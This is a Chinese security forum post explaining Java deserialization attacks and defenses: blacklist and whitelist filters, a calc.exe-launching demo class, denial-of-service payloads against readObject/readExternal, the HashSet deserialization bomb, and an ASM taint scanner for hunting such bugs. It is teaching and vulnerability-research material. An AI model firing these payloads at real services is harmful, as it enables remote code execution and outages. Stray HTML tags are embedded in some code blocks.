安全矩阵

 找回密码
 立即注册
搜索
查看: 2217|回复: 0

反序列化漏洞的防御与拒绝服务

[复制链接]

180

主题

231

帖子

1174

积分

金牌会员

Rank: 6Rank: 6

积分
1174
发表于 2022-5-2 01:26:34 | 显示全部楼层 |阅读模式
本帖最后由 Grav1ty 于 2022-5-2 01:29 编辑


最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE(还有一些报告也许正在审核和修复中)但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向
早上和pyn3rd师傅聊天,希望写一篇DoS漏洞的分享,于是写了这篇水文,算是拒绝服务漏洞的完结篇
基础篇
编写一个恶意的类
  1. public class EvilObj implements Serializable {
  2.     static {
  3.         try {
  4.             Runtime.getRuntime().exec("calc.exe");
  5.         } catch (IOException ignored) {
  6.         }
  7.     }
  8. }
复制代码

编写一个普通的反序列化漏洞代码,执行后会弹出计算器
  1. <font style="font-size: 15px">public static void main(String[] args)throws Exception {
  2.     ByteArrayOutputStream baos = new ByteArrayOutputStream();
  3.     ObjectOutputStream oos = new ObjectOutputStream(baos);
  4.     oos.writeObject(new EvilObj());

  5.     ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  6.     ObjectInputStream ois = new ObjectInputStream(bais);
  7.     ois.readObject();
  8. }
  9. </font><div align="left"><font color="rgb(34, 34, 34)"><font face="" "=""><font style="font-size: 15px">以</font></font></font></div>
复制代码

上的恶意类其实没有意义,因为目标系统中不会存在这样的恶意类,只有目标程序中存在该类才可以
于是大家开始挖掘gadget以构造恶意类用来执行代码或命令
当我将gadget替换为CC6链后,只要目标系统包含了Commons Collections依赖则可以RCE
oos.writeObject(CC6Gadget.get());
黑名单修复
假设作为开发者,这时候的修复手法有两种
  • 关闭反序列化功能
  • 由于业务原因不能关闭反序列化漏洞

于是很多项目采用了黑名单的方式进行修复
  1. public class SafeObjectInputStream extends ObjectInputStream {
  2.     public SafeObjectInputStream(InputStream in) throws IOException {
  3.         super(in);
  4.     }

  5.     @Override
  6.     protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
  7.         if (desc.getName().contains("org.apache.commons.collections")) {
  8.             return null;
  9.         }
  10.         return super.resolveClass(desc);
  11.     }
  12. }
复制代码

这时候修改我们的漏洞代码
  1. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  2. ObjectOutputStream oos = new ObjectOutputStream(baos);
  3. oos.writeObject(CC6Gadget.get());

  4. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  5. SafeObjectInputStream ois = new SafeObjectInputStream(bais);
  6. ois.readObject();
  7. <div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">运行后报错:说明成功防御了Commons Collections的反序列化漏洞</font></font></div>Exception in thread "main" java.lang.ClassNotFoundException: null class<div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">类似的黑名单参考:Apache OFBIZ</font></font></div><div align="left"><font color="rgb(34, 34, 34)"><font face="" "="">commit: <a href="https://github.com/apache/ofbiz-framework/commit/af9ed4e/" target="_blank">https://github.com/apache/ofbiz-framework/commit/af9ed4e/</a></font></font></div>if (className.contains("java.rmi.server")) {
  8.     return null;
  9. }
复制代码

白名单修复
在安全中,黑名单永远都是不安全的,因为总会有新的姿势和新的绕过,因此我们采用了白名单的方式进行修复
  • 允许来自于java.lang和java.util的对象
  • 允许来自于本地某个特定的类

  1. public class SafeObjectInputStream extends ObjectInputStream {
  2.     public SafeObjectInputStream(InputStream in) throws IOException {
  3.         super(in);
  4.     }

  5.     @Override
  6.     protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
  7.         // 允许一些常用的JDK类
  8.         if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
  9.                 // 允许一些业务需要的本地类
  10.                 desc.getName().equals("com.example.MyObject")) {
  11.             return super.resolveClass(desc);
  12.         } else {
  13.             return null;
  14.         }
  15.     }
  16. }
复制代码

参考Spring-AMQP曾经防御反序列化漏洞的方式:添加类似的白名单
  1. static {
  2.     SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
  3. }
复制代码

readObject
当我们使用了这样白名单后,确实不存在RCE漏洞
但实际上存在拒绝服务漏洞的可能性
首先从本地白名单对象入手
  1. public class MyObject implements Serializable {
  2.     private void readObject(ObjectInputStream s)
  3.             throws IOException, ClassNotFoundException {
  4.         int len = s.readInt();
  5.         // array init
  6.         byte[] data = new byte[len];
  7.         // for condition
  8.         for (int i = 0; i < len; i++) {
  9.             // ...
  10.         }
  11.         // ...
  12.     }
  13. }
复制代码

假设本地白名单类的readObject方法中包含了类似以上的代码,构造出以下这样的Payload即可DoS
  1. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  2. ObjectOutputStream oos = new ObjectOutputStream(baos);
  3. oos.writeObject(new MyObject());
  4. oos.flush();
  5. oos.writeInt(1024*1024*1024);
  6. oos.flush();
复制代码

readExternal
Serializable序列化时不会调用默认的构造器而Externalizable序列化时会调用默认构造器
有时我们不希望序列化那么多,可以使用Externalizable接口
其中writeExternal和readExternal方法可以指定序列化哪些属性
假设某个白名单类包含了类似下方的代码,则存在拒绝服务漏洞
  1. public class MyObject implements Externalizable {
  2.     public int a;

  3.     // 必须存在空参构造
  4.     public MyObject() {
  5.     }

  6.     public MyObject(int a) {
  7.         this.a = a;
  8.     }

  9.     @Override
  10.     public void writeExternal(ObjectOutput out) throws IOException {
  11.         out.writeInt(a);
  12.         // ...
  13.     }

  14.     @Override
  15.     public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
  16.         int length = in.readInt();
  17.         // array init
  18.         byte[] data = new byte[length];
  19.         // for condition
  20.         for (int i = 0; i < length; i++) {
  21.             // ...
  22.         }
  23.         // ...
  24.     }
  25. }
复制代码

构造恶意对象Payload触发
  1. public static void main(String[] args) throws Exception {
  2.     ByteArrayOutputStream baos = new ByteArrayOutputStream();
  3.     ObjectOutputStream oos = new ObjectOutputStream(baos);
  4.     oos.writeObject(new MyObject(1024 * 1024 * 1024));

  5.     ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  6.     SafeObjectInputStream ois = new SafeObjectInputStream(bais);
  7.     ois.readObject();
  8. }
复制代码

反序列化炸弹
最坏的情况:如果白名单本地对象都是安全的,没有拒绝服务的可能性,还有办法吗
可以使用JDK中的反序列化炸弹实现拒绝服务漏洞
出自Effective Java的原版反序列化炸弹(原代码链接)
  1. Set<Object> root = new HashSet<>();
  2. Set<Object> s1 = root;
  3. Set<Object> s2 = new HashSet<>();
  4. for(int i=0;i<100;i++){
  5.     Set<Object> t1 = new HashSet<>();
  6.     Set<Object> t2 = new HashSet<>();
  7.     t1.add("foo");
  8.     s1.add(t1);
  9.     s1.add(t2);
  10.     s2.add(t1);
  11.     s2.add(t2);
  12.     s1=t1;
  13.     s2=t2;
  14. }
复制代码

使用HahsMap和也可以做到类似的效果
  1. // Map & HashMap
  2. Map<Object, Object> root = new HashMap<>();
  3. Map<Object, Object> s1 = root;
  4. Map<Object, Object> s2 = new HashMap<>();
  5. for (int i = 0; i < 50; i++) {
  6.     HashMap<Object, Object> t1 = new HashMap<>();
  7.     HashMap<Object, Object> t2 = new HashMap<>();
  8.     t1.put("foo", "bar");
  9.     s1.put(t1, t1);
  10.     s1.put(t2, t2);
  11.     s2.put(t1, t1);
  12.     s2.put(t2, t2);
  13.     s1 = t1;
  14.     s2 = t2;
  15. }
复制代码

反序列化炸弹会得到类似的数据结构,是一个100层深的图(Graph)结构



由于本文重点不在于反序列化炸弹,所以原理不再对原理进行分析,有兴趣可以搜索得到一些结果
关于反序列化炸弹的修复:JEP290
提交给Apache OFBIZ后认为这只是潜在的漏洞,不能直接触发,修复后给予致谢但无CVE



漏洞挖掘思路
有了以上的内容,对于如何挖掘这样的漏洞,应该有一些思路了
  • 某框架曾经出现过反序列化漏洞
  • 某框架如果采用了黑白名单的方案修复(某logic等)
  • 确定白名单中是否包含了java.util等类,如果包含则存在反序列化炸弹(某logic的CVE-2022-21441)
  • 扫描所有白名单中的类,是否包含readObject方法,审计其中是否有类似上文的代码
  • 类似上一条,扫描白名单类readExternal方法(某logic的CVE-2021-2344和CVE-2021-2371等等)

如何扫描
扫描主要是如何确认readExternal方法里存在数据初始化
例如扫某logic这样非开源的项目,难免要用到字节码相关的技术
大概的扫描逻辑如下
  • 自动批量解压JAR包
  • 扫描所有的class文件(测试了上百万个)
  • 目标是所有类的所有方法
  • 如果方法中的字节码匹配到某种规则,且方法名是readObject或readExternal则说明成功

这里提到的某种规则,在之前一篇文章中有详细说明
跟着三梦学Java安全:半自动挖洞(https://xz.aliyun.com/t/10925)
这两种数组初始化的字节码是不同的
  1. int size = 10;
  2. byte[] a = new byte[size];
  3. Object[] o = new Object[size];
复制代码

对应字节码如下,可以看到分别使用NEWARRAY和ANEWARRAY指令
  1. BIPUSH 10
  2. ISTORE 1
  3. ...
  4. ILOAD 1
  5. NEWARRAY T_BYTE
  6. ...
  7. ILOAD 1
  8. ANEWARRAY java/lang/Object
复制代码

在分析时需要注意
  • 在visitCode方法中对每个参数设置污染
  • 在visitMethodInsn方法中处理污染的传递

在分析进入方法时,首先调用到visitCode方法,在这里手动给参数上污点
  1. @Override
  2. public void visitCode() {
  3.     super.visitCode();
  4.     int localIndex = 0;
  5.     if ((this.access & Opcodes.ACC_STATIC) == 0) {
  6.         localVariables.set(localIndex, "source");
  7.         localIndex += 1;
  8.     }
  9.     for (Type argType : Type.getArgumentTypes(desc)) {
  10.         localVariables.set(localIndex, "source");
  11.         localIndex += argType.getSize();
  12.     }
  13. }
复制代码

处理污点的传递(如果a是污染那么b=a.func()中的b也将是污染)
  1. @Override
  2. public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
  3.     Type[] argTypes = Type.getArgumentTypes(desc);
  4.     if (opcode != Opcodes.INVOKESTATIC) {
  5.         Type[] extendedArgTypes = new Type[argTypes.length + 1];
  6.         System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
  7.         extendedArgTypes[0] = Type.getObjectType(owner);
  8.         argTypes = extendedArgTypes;
  9.     }
  10.     for (int i = 0; i < argTypes.length; i++) {
  11.         if (operandStack.get(i).contains("source")) {
  12.             Type returnType = Type.getReturnType(desc);
  13.             if (returnType.getSort() != Type.VOID) {
  14.                 super.visitMethodInsn(opcode, owner, name, desc, itf);
  15.                 operandStack.set(0, "source");
  16.                 return;
  17.             }
  18.         }
  19.     }
  20.     super.visitMethodInsn(opcode, owner, name, desc, itf);
  21. }
复制代码

上面这一串代码的作用是能够处理这样的情况
  1. <font style="font-size: 15px">@Override
  2. public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
  3.     // in参数是污点
  4.     // 可以传递到length参数
  5.     int length = in.readInt();
  6.     // 这里遇到NEWARRAY指令
  7.     // 如果length是污点则说明匹配到
  8.     byte[] data = new byte[length];
  9. }
  10. </font><div align="left"><font color="rgb(34, 34, 34)"><font face="" "=""><font style="font-size: 15px">最终在NEWARRAY指令的操作数中判断污点(ANEWARRAY指令类似)</font></font></font></div><font style="font-size: 15px">@Override
  11. public void visitIntInsn(int opcode, int operand) {
  12.     if (opcode == Opcodes.NEWARRAY) {
  13.         if (operandStack.get(0).contains("source")) {
  14.             if (this.name.equals("readExternal") || this.name.equals("readObject")) {
  15.                 // 发现漏洞,进行记录
  16.             }
  17.         }
  18.     }
  19.     super.visitIntInsn(opcode, operand);
  20. }</font>
复制代码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 20:01 , Processed in 0.014843 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表